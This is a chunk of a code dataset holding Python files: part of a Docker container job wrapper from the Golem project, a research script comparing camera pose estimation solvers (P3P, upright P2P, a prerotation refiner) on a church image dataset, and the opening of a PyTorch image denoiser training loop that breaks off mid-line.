self.WORK_DIR,\n self.RESOURCES_DIR,\n self.OUTPUT_DIR,\n self.STATS_DIR\n ]\n self.environment = environment or {}\n self.host_config = host_config or {}\n\n self.resources_dir = resources_dir\n self.work_dir = work_dir\n self.output_dir = output_dir\n self.stats_dir = stats_dir\n\n self.resources_dir_mod = None\n self.work_dir_mod = None\n self.output_dir_mod = None\n self.stats_dir_mod = None\n\n self.container = None\n self.container_id = None\n self.container_log = None\n self.state = self.STATE_NEW\n\n if container_log_level is None:\n container_log_level = container_logger.getEffectiveLevel()\n self.log_std_streams = 0 < container_log_level <= logging.DEBUG\n self.logging_thread = None\n self.stop_logging_thread = False\n\n self.cpu_limit = cpu_limit\n\n def _prepare(self):\n self.work_dir_mod = self._host_dir_chmod(self.work_dir, \"rw\")\n self.resources_dir_mod = self._host_dir_chmod(self.resources_dir, \"rw\")\n self.output_dir_mod = self._host_dir_chmod(self.output_dir, \"rw\")\n self.stats_dir_mod = self._host_dir_chmod(self.stats_dir, \"rw\")\n\n # Save parameters in work_dir/PARAMS_FILE\n params_file_path = self._get_host_params_path()\n with open(params_file_path, \"w\") as params_file:\n json.dump(self.parameters, params_file)\n\n # Setup volumes for the container\n client = local_client()\n\n host_cfg = client.create_host_config(**self.host_config)\n\n self.container = client.create_container(\n image=self.image.name,\n volumes=self.volumes,\n host_config=host_cfg,\n command=self._build_stats_entrypoint(),\n working_dir=self.WORK_DIR,\n environment=self.environment,\n user=None if is_windows() else os.getuid(),\n )\n self.container_id = self.container[\"Id\"]\n if self.container_id is None:\n raise KeyError(\"container does not have key: Id\")\n\n logger.debug(\"Container %s prepared, image: %s, dirs: %s; %s; %s; %s\",\n self.container_id, self.image.name, self.work_dir,\n self.resources_dir, self.output_dir, self.stats_dir)\n\n def _build_stats_entrypoint(self) -> str:\n limit = f'-l {self.cpu_limit} ' if self.cpu_limit else ''\n return f'docker-cgroups-stats {limit}' \\\n f'-o {self.STATS_DIR}/{self.STATS_FILE} ' + self.entrypoint\n\n def _cleanup(self):\n if self.container:\n client = local_client()\n self._host_dir_chmod(self.work_dir, self.work_dir_mod)\n self._host_dir_chmod(self.resources_dir, self.resources_dir_mod)\n self._host_dir_chmod(self.output_dir, self.output_dir_mod)\n self._host_dir_chmod(self.stats_dir, self.stats_dir_mod)\n try:\n client.remove_container(self.container_id, force=True)\n logger.debug(\"Container %s removed\", self.container_id)\n except docker.errors.APIError:\n pass # Already removed? Sometimes happens in CircleCI.\n self.container = None\n self.container_id = None\n self.state = self.STATE_REMOVED\n if self.logging_thread:\n self.stop_logging_thread = True\n self.logging_thread.join(1)\n if self.logging_thread.is_alive():\n logger.warning(\"Docker logging thread still running\")\n else:\n logger.debug(\"Docker logging stopped\")\n self.logging_thread = None\n\n def __enter__(self):\n self._prepare()\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n self._cleanup()\n\n def _get_host_params_path(self):\n return os.path.join(self.work_dir, self.PARAMS_FILE)\n\n @staticmethod\n def _host_dir_chmod(dst_dir, mod):\n if isinstance(mod, str):\n mod = 0o770 if mod == 'rw' else \\\n 0o550 if mod == 'ro' else 0\n prev_mod = None\n\n try:\n import stat\n prev_mod = stat.S_IMODE(os.stat(dst_dir).st_mode)\n except Exception as e: # pylint:disable=broad-except\n logger.debug(\"Cannot get mode for %s, \"\n \"reason: %s\", dst_dir, e)\n\n if mod is not None:\n try:\n os.chmod(dst_dir, mod)\n except Exception as e: # pylint:disable=broad-except\n logger.debug(\"Cannot chmod %s (%s): %s\", dst_dir, mod, e)\n\n return prev_mod\n\n @staticmethod\n def get_absolute_resource_path(relative_path):\n return posixpath.join(DockerJob.RESOURCES_DIR,\n nt_path_to_posix_path(relative_path))\n\n def _start_logging_thread(self, client):\n\n def log_stream(s):\n for chunk in s:\n container_logger.debug(chunk)\n if self.stop_logging_thread:\n break\n\n stream = client.attach(self.container_id, stdout=True, stderr=True,\n stream=True, logs=True)\n self.logging_thread = threading.Thread(\n target=log_stream, args=(stream,), name=\"ContainerLoggingThread\")\n self.logging_thread.start()\n\n def start(self):\n if self.get_status() == self.STATE_CREATED:\n client = local_client()\n client.start(self.container_id)\n result = client.inspect_container(self.container_id)\n self.state = result[\"State\"][\"Status\"]\n logger.debug(\"Container %s started\", self.container_id)\n if self.log_std_streams:\n self._start_logging_thread(client)\n return result\n logger.debug(\"Container %s not started, status = %s\",\n self.container_id, self.get_status())\n return None\n\n def wait(self, timeout=None):\n \"\"\"Block until the job completes, or timeout elapses.\n :param timeout: time to block\n :returns container exit code\n \"\"\"\n if self.get_status() in [self.STATE_RUNNING, self.STATE_EXITED]:\n client = local_client()\n return client.wait(self.container_id, timeout).get('StatusCode')\n logger.debug(\"Cannot wait for container %s, status = %s\",\n self.container_id, self.get_status())\n return -1\n\n def kill(self):\n try:\n status = self.get_status()\n except Exception as exc: # pylint:disable=broad-except\n status = None\n logger.error(\"Error retrieving status for container %s: %s\",\n self.container_id, exc)\n\n if status != self.STATE_RUNNING:\n return\n\n try:\n client = local_client()\n client.kill(self.container_id)\n except docker.errors.APIError as exc:\n logger.error(\"Couldn't kill container %s: %s\",\n self.container_id, exc)\n\n def dump_logs(self, stdout_file=None, stderr_file=None):\n if not self.container:\n return\n client = local_client()\n\n def dump_stream(stream, path):\n logger.debug('dump_stream(%r, %r)', stream, path)\n with open(path, \"wb\") as f:\n for line in stream:\n f.write(line)\n f.flush()\n\n if stdout_file:\n stdout = client.logs(self.container_id,\n stream=True, stdout=True, stderr=False)\n dump_stream(stdout, stdout_file)\n if stderr_file:\n stderr = client.logs(self.container_id,\n stream=True, stdout=False, stderr=True)\n dump_stream(stderr, stderr_file)\n\n def get_status(self):\n if self.container:\n client = local_client()\n inspect = client.inspect_container(self.container_id)\n return inspect[\"State\"][\"Status\"]\n return self.state\n","repo_name":"golemfactory/clay","sub_path":"golem/docker/job.py","file_name":"job.py","file_ext":"py","file_size_in_byte":11380,"program_lang":"python","lang":"en","doc_type":"code","stars":2915,"dataset":"github-code","pt":"7"} +{"seq_id":"16435899224","text":"import os\nimport statistics\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set(rc={'figure.figsize':(16,10)})\n\nimport torch\nimport pickle\n\nfrom tqdm import tqdm\nfrom skimage.measure import ransac\nfrom scipy.spatial.transform import Rotation\nfrom pytorch3d.transforms import matrix_to_quaternion\n\nimport poselib\n\nfrom solver import Up2P, Solver, P3PWrapper\nfrom SolverPipeline import P3PBindingWrapperPipeline\nfrom SolverPipeline import SolverPipeline as SP\nfrom utils.rotation_utils import get_rt_mtx\n\nfrom typing import Tuple, Dict, List\nfrom dataclasses import dataclass\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nclass Config:\n ransac_thresh = 13.\n max_side_length = 320\n max_ransac_iters = 10000\n\n# convention is that [R t] maps from the world coordinate system into the camera coordinate system\n# upright solvers: \n'''\nR = [\n a 0 -b\n 0 1 0\n b 0 a\n ]\n'''\n\n# it necessary to pre-rotate the input such that this is satisfied (?)\n# A * [t1,t2,t3,q^2] + b * [q, 1] = 0\n# \n\n\ndef pl_to_scipy(q: List[float]):\n return [*q[1:], q[0]]\n\nclass Camera:\n def __init__(self,\n w: int,\n h: int,\n f: float,\n cc: Tuple[int, int]\n ) -> None:\n self.f = f\n self.cx, self.cy = cc\n self.w = w\n self.h = h\n \n def pix2cam(self, x: np.ndarray):\n x = np.concatenate([x, np.ones(x.shape[0])[:, np.newaxis]], axis=1)\n x[:, 0] -= self.cx\n x[:, 1] -= self.cy\n x[:, :2] /= self.f\n x /= np.linalg.norm(x)\n \n return x\n \n def cam2pix(self, x: np.ndarray):\n x /= x[:, 2][:, None]\n x[:, :2] *= self.f\n x[:, 0] += self.cx\n x[:, 1] += self.cy\n \n return x[:, :2]\n\n @staticmethod\n def from_camera_dict(camera: Dict):\n w, h = camera[\"width\"], camera[\"height\"]\n params = camera[\"params\"]\n f, cx, cy, _ = params\n \n return Camera(w, h, f, (cx, cy))\n\n def to_dict(self):\n return {\n \"width\": self.w, \n \"height\": self.h, \n \"params\": [self.f, self.cx, self.cy, 0]\n }\n \nclass Sampler:\n \n def __call__(self, pts: np.array, sample_size: int):\n n = len(pts)\n assert n > sample_size\n \n idcs = np.random.choice(n, sample_size)\n \n return pts[idcs], idcs\n\nclass PrerotModel:\n \n def estimate(self, data) -> bool: \n # [N, 4]\n assert data.shape[1] == 4\n x, projs = data[:, :2], data[:, 2:]\n # print(x.shape, projs.shape, np.mean(x, axis=1))\n x -= np.mean(x, axis=0)[None, :]\n projs -= np.mean(projs, axis=0)[None, :]\n\n x /= np.mean(np.square(x))\n projs /= np.mean(np.square(projs))\n \n angle_to_prerotate = np.arctan2(\n np.sum(projs[:, 0] * x[:, 1] - projs[:, 1] * x[:, 0]),\n np.sum(projs[:, 0] * x[:, 0] + projs[:, 1] * x[:, 1])\n )\n\n self.params = angle_to_prerotate\n return True\n \n def residuals(self, data):\n # [N, 4]\n x, projs = data[:, :2], data[:, 2:] \n norm_x = x.T - np.mean(x.T, axis=1)[:, None]\n norm_projs = projs.T - np.mean(projs.T, axis=1)[:, None]\n\n c, s = np.cos(self.params), np.sin(self.params)\n R = np.array(((c, s), (-s, c)))\n\n return np.linalg.norm(np.square(norm_x - R.T @ norm_projs), axis=0)\n\nclass SolverPipeline(SP):\n\n def __init__(self,\n num_models_to_eval: int = 5000,\n test_on_num_points: int = 1,\n verbose: bool = False,\n up2p: bool = True\n ) -> None:\n self.solver = Up2P() if up2p else P3PWrapper()\n self.sampler = Sampler()\n self.camera: Camera = None\n self.num_models_to_eval = num_models_to_eval\n self.test_on_num_points = test_on_num_points\n self.verbose = verbose\n \n def __call__(self, pts2D, pts3D, camera_dict):\n self.camera = Camera.from_camera_dict(camera_dict)\n solution, sol_err = None, float(\"+inf\")\n\n iterator = range(self.num_models_to_eval) \n for i in (tqdm(iterator) if self.verbose else iterator):\n min_sample_size = self.solver.get_sample_size()\n pts2d, idcs = self.sampler(pts2D, min_sample_size + self.test_on_num_points)\n pts3d = pts3D[idcs]\n\n try:\n solv_res = self.solver(\n self.camera.pix2cam(pts2d[:min_sample_size]),\n pts3d[:min_sample_size]\n )\n except Exception as ex: # sometimes inverse cannot be found\n print(ex)\n continue\n\n for sol in solv_res:\n R, t = sol\n R, t = R.detach().cpu().numpy(), t.detach().cpu().numpy()\n translated = (R @ pts3d.T + t[:, None]).T\n translated = self.camera.cam2pix(translated)\n cerr = np.linalg.norm(pts2d - translated)\n if cerr < sol_err:\n sol_err = cerr\n solution = (R, t)\n # print(\"[no-prerot convergence]: \", translated[min_sample_size], pts2d[min_sample_size])\n # print(\"cerr: \", cerr)\n\n return solution\n\n@dataclass\nclass PrerotationScene:\n R: np.ndarray\n t: np.ndarray\n X: np.ndarray\n x: np.ndarray\n camera: Camera\n\nclass DisplacementRefinerSolver(Solver):\n \n def __init__(self,\n outer_models_to_evaluate: int = 500,\n inner_models_to_evaluate: int = max(1, 10),\n rotations_to_est: int = 1,\n verbose: bool = False\n ) -> None: \n self.outer_models_to_evaluate = outer_models_to_evaluate\n self.inner_models_to_evaluate = inner_models_to_evaluate\n self.rotations_to_est = rotations_to_est\n self.internal_solver = Up2P()\n self.inner_pipe = SolverPipeline(self.inner_models_to_evaluate, up2p=True)\n self.sampler: Sampler = Sampler()\n self.verbose = verbose\n self.camera: Camera = None\n \n def get_sample_size(self) -> int:\n return self.min_sample_size\n\n def get_prerotation_given_guess(self, R, t, X, x):\n # given initial guess of R and t, project Xs so to get the displacements\n projs = []\n for x3d in X:\n proj = R.T @ (x3d - t)\n proj = self.camera.cam2pix(proj[None, :])[0]\n projs.append(proj)\n\n # get the proposed prerotation angles, given the displacements\n x = self.camera.cam2pix(x)\n _, angles = self._get_rot_angles(np.stack(x)[:, :2], np.stack(projs)[:, :2])\n deg_angles = [angle.as_euler(\"XYZ\", degrees=True)[2] for angle in angles]\n\n if self.verbose:\n plt.hist(deg_angles, density=True, color='black', bins=np.arange(-180, 180, 5))\n plt.xticks(range(-180, 180, 5))\n plt.show()\n \n try:\n counts = np.bincount([angle + 180.0 for angle in deg_angles])\n counts = np.convolve(counts, np.ones(3), 'same')\n angle_to_prerotate = np.argmax(counts) - 180\n\n prerotate_with = Rotation.from_euler(\"XYZ\", [0, 0, angle_to_prerotate], degrees=True).as_matrix()\n return prerotate_with\n except:\n return Rotation.identity().as_matrix()\n\n def get_prerotation_ls(self, R, t, X, x):\n projs = self.camera.cam2pix((R @ X.T + t[:, None]).T)\n\n x = np.stack(x)[:, :2]\n projs = np.stack(projs)[:, :2]\n\n # debug vis projs\n # points = x.T.copy()\n # rotated_points = projs.T.copy()\n # fig, ax = plt.subplots()\n # plt.scatter(points[0, :], points[1, :])\n # plt.scatter(rotated_points[0, :], rotated_points[1, :])\n # ax.quiver(\n # points[0, :],\n # points[1, :],\n # rotated_points[0, :] - points[0, :],\n # rotated_points[1, :] - points[1, :],\n # angles='xy', scale_units='xy', scale=1,\n # width=0.005 / 4\n # )\n # plt.show()\n\n # normalize\n x -= np.mean(x, axis=0)\n projs -= np.mean(projs, axis=0)\n\n # uniform scale\n x /= np.mean(np.square(x))\n projs /= np.mean(np.square(projs))\n\n # (x, y), (w, z)\n angle_to_prerotate = np.arctan2(\n np.sum(projs[:, 0] * x[:, 1] - projs[:, 1] * x[:, 0]),\n np.sum(projs[:, 0] * x[:, 0] + projs[:, 1] * x[:, 1])\n )\n\n prerotate_with = Rotation.from_euler(\"XYZ\", [0, 0, angle_to_prerotate], degrees=False).as_matrix()\n\n return prerotate_with\n\n def get_prerotation_ls_ransac(self, R, t, X, x): \n \n projs = self.camera.cam2pix((R @ X.T + t[:, None]).T)\n\n x = np.stack(x)[:, :2]\n projs = np.stack(projs)[:, :2]\n\n model, _ = ransac(\n np.concatenate([x, projs], axis=1), \n PrerotModel, \n min_samples=5, \n residual_threshold=1e4,\n )\n\n if model is not None:\n prerotate_with = Rotation.from_euler(\n \"XYZ\", [0, 0, model.params], degrees=False).as_matrix()\n else:\n prerotate_with = Rotation.identity().as_matrix()\n\n return prerotate_with\n\n def get_prerotation_dummy(self, R, t, X, x):\n # returns identiry matrix\n return Rotation.identity().as_matrix()\n\n def inner_solver(self, x, X):\n # err, Rf, tf = None, None, None\n\n # for _ in range(self.inner_models_to_evaluate):\n # # take the minimal subset from points\n # min_sample_size = self.internal_solver.get_sample_size()\n # idcs = np.random.choice(len(X), min_sample_size + 1)\n # subx, subX = x[idcs], X[idcs] \n\n # try:\n # inner_solv_res = self.internal_solver(\n # self.camera.pix2cam(subx[:min_sample_size]),\n # subX[:min_sample_size]\n # )\n # except:\n # continue\n\n # for Ri, ti in inner_solv_res:\n # Ri, ti = Ri.cpu().numpy(), ti.cpu().numpy()\n # rp = Ri @ subX + ti\n # rp = self.camera.cam2pix(rp) \n # cerr = np.linalg.norm(rp - subx)\n # # print(cerr)\n # if err is None or cerr < err:\n # # print(\"[prerot inner convergence]: \", rp, subx[min_sample_size])\n # err = cerr\n # Rf, tf = Ri, ti\n\n # return Rf, tf\n\n res = self.inner_pipe(x, X, self.camera.to_dict())\n if res is None:\n return None, None\n \n return res[0], res[1]\n\n @torch.no_grad()\n def __call__(self, x, X, camera_dict):\n assert x.shape[0] == X.shape[0]\n \n min_sample_size = self.internal_solver.get_sample_size()\n\n self.camera = Camera.from_camera_dict(camera_dict)\n \n err, Rf, tf = None, None, None\n\n for i in range(self.outer_models_to_evaluate):\n pts2d, idcs = self.sampler(x, min_sample_size + 1)\n pts3d = X[idcs]\n \n # run the solver with default gravity direction so to get an estimate on prerotation\n try:\n solv_res = self.internal_solver(\n self.camera.pix2cam(pts2d[:min_sample_size]),\n pts3d[:min_sample_size]\n )\n except RuntimeError as ex:\n continue\n\n for (R, t) in solv_res:\n R, t = R.detach().cpu().numpy(), t.detach().cpu().numpy()\n\n # prerotate_with = self.get_prerotation_given_guess(R, t, X, x)\n prerotate_with = self.get_prerotation_ls(R, t, X, x)\n \n # scene = PrerotationScene(R, t, X, x, self.camera)\n # with open(f\"prerot2/res_{i}.pkl\", \"wb\") as handle:\n # pickle.dump(scene, handle)\n # prerotate_with = self.get_prerotation_ls_ransac(R, t, X, x)\n \n # prerotate_with = self.get_prerotation_dummy(R, t, X, x)\n # print('\\033[44m', \"prerotate_with: \", Rotation.from_matrix(prerotate_with).as_euler(\"XYZ\", degrees=True), '\\033[0m')\n\n # prerotate, solve, rotate back\n Xs = np.array([prerotate_with.T @ x3d for x3d in X.copy()])\n # xs = np.array([prerotate_with.T @ x2d for x2d in x.copy()])\n\n IR, It = self.inner_solver(x, Xs)\n if IR is None or It is None:\n continue\n\n R = IR @ prerotate_with\n t = It @ prerotate_with\n\n rp = (R @ pts3d.T + t[:, None]).T\n rp = self.camera.cam2pix(rp)\n cerr = np.linalg.norm(rp - pts2d)\n if err is None or cerr < err:\n # print(\"[prerot convergence]: \", rp, pts2d)\n # print(\"[prerot convergence]: \", cerr)\n err = cerr\n Rf, tf = R, It\n \n if Rf is None or tf is None:\n return None, None\n\n return Rf, tf\n\n def _get_rot_angles(self, gt: np.array, proj: np.array):\n centers = []\n indexes = []\n angles = []\n for _ in range(self.rotations_to_est):\n idcs = np.random.choice(len(gt), 2)\n indexes.append(idcs)\n\n gt1, proj1 = gt[idcs[0]], proj[idcs[0]]\n gt2, proj2 = gt[idcs[1]], proj[idcs[1]]\n\n c = self._get_center_of_rotation(gt1, proj1, gt2, proj2)\n centers.append(c)\n \n mean_c = np.array([np.median([elm[0] for elm in centers]), np.median([elm[1] for elm in centers])])\n\n for i in range(self.rotations_to_est):\n idcs = indexes[i]\n\n gt1, proj1 = gt[idcs[0]], proj[idcs[0]]\n gt2, proj2 = gt[idcs[1]], proj[idcs[1]]\n\n try:\n angle = self._get_rotation(gt1, proj1, gt2, proj2, mean_c)\n except Exception as ex:\n continue\n\n angles.append(angle)\n\n return centers, angles \n\n def _get_intersect(self, a1, a2, b1, b2):\n \"\"\" \n Returns the point of intersection of the lines passing through a2,a1 and b2,b1.\n a1: [x, y] a point on the first line\n a2: [x, y] another point on the first line\n b1: [x, y] a point on the second line\n b2: [x, y] another point on the second line\n \"\"\"\n s = np.vstack([a1,a2,b1,b2]) # s for stacked\n h = np.hstack((s, np.ones((4, 1)))) # h for homogeneous\n l1 = np.cross(h[0], h[1]) # get first line\n l2 = np.cross(h[2], h[3]) # get second line\n x, y, z = np.cross(l1, l2) # point of intersection\n if z == 0: # lines are parallel\n return (float('inf'), float('inf'))\n return (x/z, y/z)\n\n def _get_norm_of_disp(self, gt, proj):\n vec = (proj - gt)\n return (-vec[1], vec[0])\n \n def _get_center_of_rotation(self, gt1, proj1, gt2, proj2):\n n1, n2 = self._get_norm_of_disp(gt1, proj1), self._get_norm_of_disp(gt2, proj2)\n\n first_center = (gt1 + proj1) / 2\n second_center = (gt2 + proj2) / 2\n\n c = self._get_intersect(\n first_center, first_center + n1,\n second_center, second_center + n2,\n )\n\n return c\n \n def _get_rotation(self, gt1, proj1, gt2, proj2, c):\n cgt1, cproj1 = gt1 - c, proj1 - c\n cgt2, cproj2 = gt2 - c, proj2 - c\n\n res = Rotation.align_vectors(\n a=np.array([[*cgt1, 0], [*cgt2, 0]]),\n b=np.array([[*cproj1, 0], [*cproj2, 0]])\n )\n\n return res[0]\n\n'''\nconvention: \nR, -R @ c\n\nR @ X + t\nR.T @ (xcam - t)\n'''\nclass Dataset:\n\n CAMERAS_PATH = \"dataset/StMarysChurch_matches/st_marys_church_list_queries_with_intrinsics_simple_radial_sorted.txt\"\n GTS_PATH = \"dataset/StMarysChurch_matches/dataset_test.txt\"\n BASE = \"dataset/StMarysChurch_matches\"\n\n def __init__(self,\n cameras_path: str = CAMERAS_PATH,\n gts_path: str = GTS_PATH,\n verbose: bool = False\n ) -> None:\n self.verbose = verbose\n\n self.cameras = self._prepare_cameras(cameras_path)\n self.gts = self._prepare_gts(gts_path)\n \n self.idx: int = 0\n # self.seq = [3, 5, 13]\n self.seq = [3]\n self.paths = []\n for s in self.seq:\n for f in os.listdir(f\"{self.BASE}/seq{s}\"):\n if f.split(\".\")[1] != \"npy\":\n continue\n\n self.paths.append(f\"{self.BASE}/seq{s}/{f}\")\n \n print(\"Created dataset with matches: \", len(self.paths))\n\n self.test_x3d = np.array([ 11.86180782, -14.56327057, -0.92378181])\n self.test_x2d = np.array([192.12533569, 19.14378548])\n self.test_camera = Camera.from_camera_dict(\n {'params': [277.4716064453125, 160.0, 90.0, 0], 'width': 320, 'height': 180}\n )\n\n def conduct_test(self, R, t):\n print(\"projection test: \", self.test_x2d, self.test_camera.cam2pix((R @ self.test_x3d + t)[None, :]))\n\n def __iter__(self):\n self.idx = 0\n return self\n\n def __next__(self):\n try:\n path = self.paths[self.idx]\n except IndexError:\n raise StopIteration\n \n data = np.load(path)\n pts2D = list(data[:, :2])\n pts3D = list(data[:, 2:])\n\n # get gts\n pp = \"/\".join(path.split(\"/\")[-2:])\n pp = pp.replace(\"_matches\", \"\")\n pp = pp.replace(\".npy\", \".png\")\n camera_dict = self.cameras[pp]\n gt = self.gts[pp]\n c, r = gt[:3], gt[3:]\n\n gt_pose = poselib.CameraPose()\n R = Rotation.from_quat(pl_to_scipy(r)).as_matrix()\n t = - R @ c \n\n self.idx += 1\n\n return (R, t, pts2D, pts3D, camera_dict)\n\n def compute_metric(self, Rgt, tgt, R, t):\n if R is None or t is None:\n return 1000000.0, 180.0\n \n rot_error = np.arccos((np.trace(np.matmul(R.T, Rgt)) - 1.0) / 2.0) * 180.0 / np.pi\n\n if self.verbose:\n print(\" Position error: \" + str(np.linalg.norm(tgt - t)) + \" orientation error: \" + str(rot_error))\n \n if np.isnan(rot_error):\n return 1000000.0, 180.0\n else:\n return np.linalg.norm(tgt - t), rot_error\n\n def _prepare_cameras(self, cameras_path: str):\n with open(cameras_path) as file:\n data = file.readlines()\n\n camera_dict = {}\n for _, line in enumerate(data):\n # image width, image height, focal length, x of pp, y of pp, radial distortion factor \n path, cam_type, w, h, f, x, y, rd = line.split()\n scaling_factor = 320 / max(np.float32(w), np.float32(h))\n \n # camera = {'model': 'SIMPLE_PINHOLE', 'width': 1200, 'height': 800, 'params': [960, 600, 400]}\n camera_dict[path] = {\n 'model': cam_type,\n 'width': int(np.float32(w) * scaling_factor),\n 'height': int(np.float32(h) * scaling_factor),\n 'params': list(map(float, [np.float32(f) * scaling_factor,\n np.float32(x) * scaling_factor,\n np.float32(y) * scaling_factor,\n np.float32(rd)])),\n }\n\n return camera_dict\n\n def _prepare_gts(self, path: str):\n with open(path) as file:\n data = file.readlines()\n\n gts = {}\n # ImageFile, Camera Position [X Y Z W P Q R]\n for _, line in enumerate(data):\n try:\n # seq13/frame00158.png 25.317314 -0.228082 54.493720 0.374564 0.002123 0.915022 -0.149782\n path, x, y, z, w, p, q, r = line.split()\n rest = [x, y, z, w, p, q, r]\n rest = list(map(float, rest))\n except Exception as ex:\n continue\n gts[path] = rest\n\n return gts\n\ndef print_pose(R, t):\n print(Rotation.from_matrix(R).as_euler(\"XYZ\", degrees=True), t)\n\ndef print_stats(pose_errors, orientation_errors):\n pos_errors = pose_errors\n orient_errors = orientation_errors\n print(\" Couldn't localize \" + str(orientation_errors.count(180.0)) + \" out of \" + str(len(orientation_errors)) + \" images\") \n print(\" Median position error: \" + str(round(statistics.median(pos_errors),3)) + \", median orientation errors: \" + str(round(statistics.median(orient_errors),2)))\n\n med_pos = statistics.median(pos_errors)\n med_orient = statistics.median(orient_errors)\n counter = 0\n for i in range(0, len(pose_errors)):\n if pose_errors[i] <= med_pos and orientation_errors[i] <= med_orient:\n counter += 1\n print(\" Percentage of poses within the median: \" + str(100.0 * float(counter) / float(len(pose_errors))) + \" % \")\n\nif __name__ == \"__main__\":\n seed = 13\n np.random.seed(seed)\n torch.manual_seed(seed)\n \n conf = Config()\n dataset = Dataset(verbose=False)\n\n sampler = Sampler()\n ref = DisplacementRefinerSolver(verbose=False) \n p3p_solv_pipe = SolverPipeline()\n p2p_solv_pipe = SolverPipeline(up2p=True)\n p3pwrapper = P3PBindingWrapperPipeline(\n ransac_conf = {\n # 'max_reproj_error': args.ransac_thresh\n 'min_iterations': min(100, conf.max_ransac_iters),\n 'max_iterations': conf.max_ransac_iters,\n 'progressive_sampling': True,\n 'max_prosac_iterations': conf.max_ransac_iters\n },\n \n bundle_adj_conf = {\n 'loss_scale' : 1.0,\n } \n )\n\n orientation_errors_p3pr, pose_errors_p3pr = [], []\n orientation_errors_p3p, pose_errors_p3p = [], []\n orientation_errors_np, pose_errors_np = [], []\n orientation_errors_p, pose_errors_p = [], []\n # iterator = tqdm(enumerate(dataset)) if not dataset.verbose else enumerate(dataset)\n iterator = enumerate(dataset)\n for idx, (Rgt, tgt, pts2D, pts3D, camera_dict) in iterator:\n # if idx == 0: # perform sanity check\n # camera = Camera.from_camera_dict(camera_dict)\n\n # print(pts2D[0])\n # print(camera.cam2pix((Rgt @ pts3D[0] + tgt)[None, :]))\n # exit(0)\n\n print(\"------------------------ \", idx, \" ------------------------------\")\n print(\"gt: \", Rotation.from_matrix(Rgt).as_euler(\"XYZ\", degrees=True), tgt)\n\n np.random.seed(seed)\n torch.manual_seed(seed)\n R, t = p3pwrapper(np.stack(pts2D), np.stack(pts3D), camera_dict)\n pose_error_p3pr, orient_error_p3pr = dataset.compute_metric(Rgt, tgt, R, t)\n print(\"rp3p[pe, oe]: \", pose_error_p3pr, orient_error_p3pr, Rotation.from_matrix(R).as_euler(\"XYZ\", degrees=True), t)\n orientation_errors_p3pr.append(orient_error_p3pr)\n pose_errors_p3pr.append(pose_error_p3pr)\n\n np.random.seed(seed)\n torch.manual_seed(seed)\n R, t = p3p_solv_pipe(np.stack(pts2D), np.stack(pts3D), camera_dict) \n pose_error_p3p, orient_error_p3p = dataset.compute_metric(Rgt, tgt, R.numpy(), t.numpy())\n print(\"p3p[pe, oe]: \", pose_error_p3p, orient_error_p3p, Rotation.from_matrix(R).as_euler(\"XYZ\", degrees=True), t.numpy())\n orientation_errors_p3p.append(orient_error_p3p)\n pose_errors_p3p.append(pose_error_p3p)\n\n np.random.seed(seed)\n torch.manual_seed(seed)\n R, t = p2p_solv_pipe(np.stack(pts2D), np.stack(pts3D), camera_dict) \n pose_error_np, orient_error_np = dataset.compute_metric(Rgt, tgt, R.numpy(), t.numpy())\n print(\"np[pe, oe]: \", pose_error_np, orient_error_np, Rotation.from_matrix(R).as_euler(\"XYZ\", degrees=True), t.numpy())\n orientation_errors_np.append(orient_error_np)\n pose_errors_np.append(pose_error_np)\n\n np.random.seed(seed)\n torch.manual_seed(seed)\n R, t = ref(np.stack(pts2D), np.stack(pts3D), camera_dict)\n pose_error_p, orient_error_p = dataset.compute_metric(Rgt, tgt, R, t)\n print(\"p[pe, oe]: \", pose_error_p, orient_error_p, Rotation.from_matrix(R).as_euler(\"XYZ\", degrees=True), t)\n orientation_errors_p.append(orient_error_p)\n pose_errors_p.append(pose_error_p)\n\n if idx == 5:\n break\n else:\n print_stats(pose_errors_p3pr, orientation_errors_p3pr)\n print_stats(pose_errors_np, orientation_errors_np)\n print_stats(pose_errors_p, orientation_errors_p)\n","repo_name":"bohdanhlovatskyi/pose_estimation","sub_path":"double_sol.py","file_name":"double_sol.py","file_ext":"py","file_size_in_byte":24599,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"14552490199","text":"import os\n\nimport cv2 as cv\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torchvision.transforms as transforms\nfrom torch import optim\nfrom torch.utils.data.dataloader import DataLoader\n\nfrom src.model import Denoiser\nfrom src.utils import ImDataset\n\nif __name__ == \"__main__\":\n\tnet = Denoiser().cuda()\n\tif os.path.isfile('trained_model/denoiser.pth'):\n\t\tnet.load_state_dict(torch.load('trained_model/denoiser.pth'))\n\tprint(net)\n\tbatch = 5\n\tdataset = ImDataset(input_folder='../Scaler/dataset/images1024x1024')\n\tloader = DataLoader(dataset, batch_size=batch, shuffle=True, num_workers=0)\n\n\toptimizer = optim.Adam(net.parameters(), lr=0.001)\n\n\tcriterion = nn.MSELoss(reduction='mean')\n\n\tepochs = 10\n\n\tif not os.path.isdir('checkpoints'):\n\t\tos.makedirs('checkpoints')\n\n\tbest_loss = 10000.\n\tnet.train()\n\tfor epoch in range(epochs):\n\t\t\n\t\tepoch_loss = 0.0\n\t\tfor inputs, labels in loader:\n\t\t\tinputs = inputs.cuda()\n\t\t\toutput = net(inputs)\n\t\t\tloss = criterion(inputs - output, labels.cuda())\n\t\t\tin_img = np.array(transforms.ToPILImage()(inputs.detach().cpu()[0]))\n\t\t\tout_img = np.array(transforms.ToPILImage()(torch.clamp(inputs.detach().cpu()[0] - output.detach().cpu()[0], 0., 1.)))\n\t\t\tlb_img = np.array(transforms.ToPILImage()(labels[0]))\n\t\t\tcv.putText(out_img, f'loss: {loss.item()}', (20, 20), cv.FONT_HERSHEY_SIMPLEX, .6, (255, 255, 255), 1, cv.LINE_AA)\n\t\t\tcv.imshow('Input', cv.cvtColor(in_img, cv.COLOR_RGB2BGR))\n\t\t\tcv.imshow('Progress', cv.cvtColor(out_img, cv.COLOR_RGB2BGR))\n\t\t\tcv.imshow('Expected', cv.cvtColor(lb_img, cv.COLOR_RGB2BGR))\n\t\t\t# print(batch_loss)\n\n\t\t\toptimizer.zero_grad()\n\t\t\tloss.backward()\n\t\t\toptimizer.step()\n\t\t\t\n\t\t\tepoch_loss += loss.item()\n\t\t\tif cv.waitKey(1) == ord('q'):\n\t\t\t\tquit()\n\t\tepoch_loss /= len(loader)\n\t\tprint(f'Epoch {epoch} done. Loss 